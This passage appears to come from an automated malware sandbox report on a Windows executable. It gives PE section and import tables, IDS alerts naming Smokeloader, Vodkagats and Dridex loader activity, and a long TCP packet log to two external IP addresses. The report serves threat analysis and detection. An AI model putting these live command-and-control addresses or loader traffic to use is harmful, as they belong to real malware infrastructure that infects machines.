                                                                                                                                                                                                                                                              .fig0x27d30000xc0x200bf619eac0cdf3f68d496ea9344137e8bFalse0.02734375data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                                                              .fatixa0x27d40000x4000x4000f343b0931126a20f133d67c2b018a3bFalse0.0166015625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                                                              .rsrc0x27d50000x1c300x1e00fba885ab4300a6ace4dd4596a443402eFalse0.6033854166666667data5.265624942035461IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                                                              Resources

                                                                                                                                                                                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                                                              RT_ICON0x27d51e00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 0EnglishUnited States0.7373358348968105
                                                                                                                                                                                                                                                              RT_STRING0x27d64b00x114dataEnglishUnited States0.5289855072463768
                                                                                                                                                                                                                                                              RT_STRING0x27d65c80x2badataEnglishUnited States0.4785100286532951
                                                                                                                                                                                                                                                              RT_STRING0x27d68880x3a4dataEnglishUnited States0.4581545064377682
                                                                                                                                                                                                                                                              RT_ACCELERATOR0x27d62a00x20dataEnglishUnited States1.15625
                                                                                                                                                                                                                                                              RT_GROUP_ICON0x27d62880x14dataEnglishUnited States1.1
                                                                                                                                                                                                                                                              RT_VERSION0x27d62c00x1f0MS Windows COFF PowerPC object fileEnglishUnited States0.5685483870967742

                                                                                                                                                                                                                                                              Imports

                                                                                                                                                                                                                                                              DLLImport
                                                                                                                                                                                                                                                              KERNEL32.dllGetConsoleAliasesLengthW, WriteConsoleOutputCharacterA, EndUpdateResourceW, InterlockedDecrement, SetDefaultCommConfigW, GetModuleHandleExW, CreateDirectoryW, GetComputerNameW, FreeEnvironmentStringsA, GetTickCount, CreateNamedPipeW, GetConsoleAliasesA, TzSpecificLocalTimeToSystemTime, GetVolumeInformationA, LoadLibraryW, GetLocaleInfoW, FatalAppExitW, HeapCreate, ReadFile, GetTimeZoneInformation, SetLastError, GetProcAddress, ResetEvent, OpenWaitableTimerA, LoadLibraryA, GetProcessWorkingSetSize, LocalAlloc, DnsHostnameToComputerNameA, AddAtomW, SetCurrentDirectoryW, OpenJobObjectW, DeviceIoControl, VirtualProtect, GetCurrentDirectoryA, EnumDateFormatsW, CompareStringA, FindAtomW, FileTimeToLocalFileTime, EnumSystemLocalesA, GetLocaleInfoA, GetLastError, HeapFree, EncodePointer, DecodePointer, GetCommandLineA, HeapSetInformation, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapDestroy, HeapAlloc, Sleep, HeapSize, GetModuleHandleW, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameW, GetModuleFileNameA, FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, InterlockedIncrement, GetCurrentThreadId, GetCurrentThread, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, HeapReAlloc, LeaveCriticalSection, FatalAppExitA, EnterCriticalSection, SetConsoleCtrlHandler, FreeLibrary, InterlockedExchange, RtlUnwind, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, LCMapStringW, MultiByteToWideChar, GetStringTypeW, IsProcessorFeaturePresent, RaiseException, GetUserDefaultLCID, IsValidLocale
                                                                                                                                                                                                                                                              USER32.dllGetClassLongW

                                                                                                                                                                                                                                                              Possible Origin

                                                                                                                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                                                              EnglishUnited States

                                                                                                                                                                                                                                                              Network Behavior

                                                                                                                                                                                                                                                              Snort IDS Alerts

                                                                                                                                                                                                                                                              TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249712802039103 02/08/24-20:17:16.198275TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249753802039103 02/08/24-20:17:39.649713TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4975380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249741802039103 02/08/24-20:17:36.031132TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4974180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249715802039103 02/08/24-20:17:17.712105TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249721802039103 02/08/24-20:17:22.381426TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4972180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249747802039103 02/08/24-20:17:37.582726TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4974780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249738802039103 02/08/24-20:17:35.542917TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249735802039103 02/08/24-20:17:34.530094TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249723802039103 02/08/24-20:17:24.945601TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4972380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249752802039103 02/08/24-20:17:39.142330TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4975280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249719802039103 02/08/24-20:17:21.338440TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249714802039103 02/08/24-20:17:17.184195TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249749802039103 02/08/24-20:17:38.118115TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4974980192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249720802039103 02/08/24-20:17:21.843709TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4972080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249731802039103 02/08/24-20:17:33.496693TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249737802039103 02/08/24-20:17:35.042605TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5196.188.169.13849750802036333 02/08/24-20:17:38.402909TCP2036333ET TROJAN Win32/Vodkagats Loader Requesting Payload4975080192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              192.168.2.5196.188.169.13849750802020826 02/08/24-20:17:38.402909TCP2020826ET TROJAN Potential Dridex.Maldoc Minimal Executable Request4975080192.168.2.5196.188.169.138
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249717802039103 02/08/24-20:17:20.307275TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971780192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249722802039103 02/08/24-20:17:22.966962TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4972280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249725802039103 02/08/24-20:17:25.446372TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4972580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249713802039103 02/08/24-20:17:16.690474TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249742802039103 02/08/24-20:17:36.544606TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4974280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249730802039103 02/08/24-20:17:32.827743TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973080192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249745802039103 02/08/24-20:17:37.053237TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4974580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249751802039103 02/08/24-20:17:38.630159TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4975180192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249718802039103 02/08/24-20:17:20.842678TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4971880192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              192.168.2.5185.12.126.18249733802039103 02/08/24-20:17:34.008544TCP2039103ET TROJAN Suspected Smokeloader Activity (POST)4973380192.168.2.5185.12.126.182

                                                                                                                                                                                                                                                              Network Port Distribution

                                                                                                                                                                                                                                                              TCP Packets

                                                                                                                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:15.960161924 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.197776079 CET8049712185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.197916031 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.198275089 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.198276043 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.435420036 CET8049712185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.446877003 CET8049712185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.446896076 CET8049712185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.446958065 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.448116064 CET4971280192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.452222109 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.685806036 CET8049712185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.689280987 CET8049713185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.689512968 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.690474033 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.690474033 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.927819967 CET8049713185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.938858986 CET8049713185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.938914061 CET8049713185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.939105988 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.939687967 CET4971380192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:16.943381071 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.176600933 CET8049713185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.180073023 CET8049714185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.183317900 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.184195042 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.184235096 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.421051979 CET8049714185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.421071053 CET8049714185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.434039116 CET8049714185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.434109926 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.434922934 CET4971480192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.474133968 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.672080994 CET8049714185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.711628914 CET8049715185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.711805105 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.712105036 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.712105036 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.949143887 CET8049715185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.960935116 CET8049715185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.960978031 CET8049715185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.961195946 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:17.961230993 CET4971580192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.198385000 CET8049715185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.539414883 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.793034077 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.793291092 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:18.793466091 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054518938 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054569960 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054586887 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054604053 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054622889 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054639101 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054655075 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054672003 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054687977 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054708004 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054821968 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.054821968 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308451891 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308569908 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308608055 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308644056 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308669090 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308684111 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308723927 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308739901 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308762074 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308782101 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308801889 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308839083 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308859110 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308876038 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308913946 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308933020 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308948994 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.308984995 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309000969 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309020996 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309056997 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309077024 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309092999 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309128046 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309144020 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309164047 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309201002 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309221029 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309242010 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.309298992 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563057899 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563164949 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563189030 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563210964 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563235044 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563272953 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563311100 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563347101 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563383102 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563421965 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563458920 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563487053 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563487053 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563487053 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563498974 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563534021 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563563108 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563570023 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563606977 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563617945 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563646078 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563684940 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563704967 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563723087 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563764095 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563777924 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563801050 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563836098 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563848019 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563872099 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563906908 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563919067 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563946962 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563983917 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.563992977 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564023018 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564064026 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564079046 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564100027 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564136028 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564146996 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564173937 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564209938 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564230919 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564249039 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564285040 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564297915 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564322948 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564361095 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564379930 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564398050 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564435005 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564448118 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564472914 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564508915 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564519882 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564548969 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.564595938 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818641901 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818711996 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818753004 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818792105 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818833113 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818871021 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818895102 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818895102 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818909883 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818952084 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818964005 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.818989992 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819020987 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819027901 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819065094 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819087982 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819103003 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819138050 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819156885 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819175005 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819211006 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819227934 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819256067 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819293022 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819310904 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819329977 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819365978 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819391966 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819402933 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819439888 CET8049716185.12.126.182192.168.2.5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819453955 CET4971680192.168.2.5185.12.126.182
                                                                                                                                                                                                                                                              Feb 8, 2024 20:17:19.819477081 CET8049716185.12.126.182192.168.2.5
